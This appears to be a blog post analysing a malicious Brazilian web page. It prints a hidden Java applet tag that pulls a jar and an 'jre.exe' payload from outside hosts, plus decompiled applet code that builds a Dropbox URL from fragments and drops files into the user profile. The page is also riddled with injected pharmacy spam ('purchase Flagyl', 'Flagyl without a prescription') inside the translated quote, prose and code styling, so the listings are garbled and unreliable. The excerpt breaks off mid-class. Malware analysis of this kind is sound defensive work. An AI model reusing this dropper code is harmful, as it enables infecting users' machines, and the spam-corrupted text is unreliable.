<p><p>Now, some parts are more interesting than others.&#160; The end if the file just seems base64 encoded…cause it is.&#160; OK un-base64, you get a wall of numbers.&#160;&#160; But there is a clue in the d_hex function (that doesn’t exist), so we are assuming it is hex.&#160; Convert the tex to text and you see this:</p></p>
<p><blockquote>  <p>Saudações aos meus colegas de trabalho do blog crimesciberneticos.com.<br />
    <br />Sabendo que nada sabemos estamos além do bem e do mal, afinal a única coisa absoluta é que tudo é relativo.</p>
<p>    <br />Um abraço, do seu amigo Psychlo.</p>
<p>    <br />by Psychlo - 11/11/11</p></blockquote></p>
<p><p>Via Google translate you find this is Portuguese which I’m sure would make some of my Portuguese friends happy.&#160; Actually, if you want it to be hard to untranslate, use a language no one knows anymore, like Fries or <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>!&#160; Cause you know every girl wants to hear, “Hey babe, I speak <a href="http://en.wikipedia.org/wiki/Gronings">Gronings</a>.”&#160; <sup>Note: my mother speaks Gronings.</sup></p></p>
<p><blockquote>  <p>Greetings to my coworkers crimesciberneticos.com blog.<br />
    <br />Knowing that we know nothing beyond good and evil, <b>purchase Flagyl</b>, after all the only thing absolute is that everything is relative.</p>
<p>    <br />A hug, your friend Psychlo.</p>
<p>    <br />by Psychlo - 11/11/11</p></blockquote></p>
<p><p>&#160;</p></p>
<p><p>Anyway, one of the things this code is trying to do is run a Java applet.&#160; But do take a look that the rest of that code, some of it will come in handy later.</p></p>
<p><p>&#160; Here is where that is happening:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl without a prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + JSM_getAppletURL() + <span style="color: #006080">'?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> }</pre>  </div></div></p>
<p><p>Which is indirecteeze for:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> &lt;applet name=<span style="color: #006080">&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot;</span> code=<span style="color: #006080">&quot;a.class&quot;</span> archive=<span style="color: #006080">&quot;http://advancedqualitysystem.com/Get/Get.php?a=/a1.jar?r=976646&quot;</span> width=<span style="color: #006080">&quot;0&quot;</span> height=<span style="color: #006080">&quot;0&quot;</span>  style=<span style="color: #006080">&quot;visibility: hidden&quot;</span>&gt;        &lt;param name=<span style="color: #006080">&quot;l&quot;</span> value=<span style="color: #006080">&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;</span>&gt;&lt;/param&gt;&lt;/applet&gt;</pre>  </div></div></p>
<p><p>OK, now I have the url for the Java applet, plus the entry point class (a.class).&#160;&#160; I can download that now.&#160; With the applet in hand, <b>generic Flagyl</b>, a Java applet is a zip file (funny things you remember from Comp Sci class in 1996), grab the *.class files, find a Java Decompiler and away we go.</p></p>
<p><p>You get 5 classes:</p></p>
<p><p>a.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Where to buy Flagyl</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">public</span> <span style="color: #0000ff">class</span> a extends Applet</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>     <span style="color: #0000ff">public</span> a()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl samples</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">void</span> init()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         c_gP c_gp = <span style="color: #0000ff">new</span> c_gP();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Rx free Flagyl</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         c_ed c_ed1 = <span style="color: #0000ff">new</span> c_ed();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>         c_js c_js1 = <span style="color: #0000ff">new</span> c_js();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>         String s = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.&quot;</span>).append(<span style="color: #006080">&quot;ln&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>         String s1 = (<span style="color: #0000ff">new</span> StringBuilder()).append(c_gp.gP(8)).append(<span style="color: #006080">&quot;.l&quot;</span>).append(<span style="color: #006080">&quot;n&quot;</span>).append(<span style="color: #006080">&quot;k&quot;</span>).toString();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>         <span style="color: #0000ff">try</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>order Flagyl from United States pharmacy</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             String s2 = System.getenv(<span style="color: #006080">&quot;ALLUSERSPROFILE&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             String s3 = getParameter(<span style="color: #006080">&quot;l&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">if</span>(s2 != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 String s4 = <span style="color: #006080">&quot;ht&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Order Flagyl online overnight delivery no prescription</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 String s5 = <span style="color: #006080">&quot;tp&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>                 String s6 = <span style="color: #006080">&quot;:&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 String s7 = <span style="color: #006080">&quot;//&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 String s8 = <span style="color: #006080">&quot;dl&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>                 String s9 = <span style="color: #006080">&quot;.drop&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 String s10 = <span style="color: #006080">&quot;box.&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl images</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>                 String s11 = <span style="color: #006080">&quot;com/u/41185898/&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>                 String s12 = <span style="color: #006080">&quot;a.gif&quot;</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>                 c_ed1.ed((<span style="color: #0000ff">new</span> StringBuilder()).append(s4).append(s5).append(s6).append(s7).append(s8).append(s9).append(s10).append(s11).append(s12).toString(), (<span style="color: #0000ff">new</span> StringBuilder()).append(s2).append(<span style="color: #006080">&quot;\&quot;).append(s1).toString(), this);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>                 c_ed1.ed(s3, (new StringBuilder()).append(s2).append(&quot;</span>\<span style="color: #006080">&quot;).append(s).toString(), <b>Buy cheap Flagyl no rx</b>, this);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span>         catch(Exception exception)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span>             c_js1.js(&quot;</span>JSM_onLoadFail&quot;, <span style="color: #0000ff">this</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>buy Flagyl no prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span> }</pre>  </div></div></p>
<p><p>c_gP.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl natural</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">class</span> c_gP</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>     c_gP()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>online buy Flagyl without a prescription</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">static</span> String gP(<span style="color: #0000ff">int</span> i)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>         <span style="color: #0000ff">char</span> ac[] = <span style="color: #0000ff">new</span> <span style="color: #0000ff">char</span>[i];</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>         <span style="color: #0000ff">int</span> j = 65;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Buy generic Flagyl</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>         <span style="color: #0000ff">boolean</span> flag = <span style="color: #0000ff">false</span>;</pre></p>
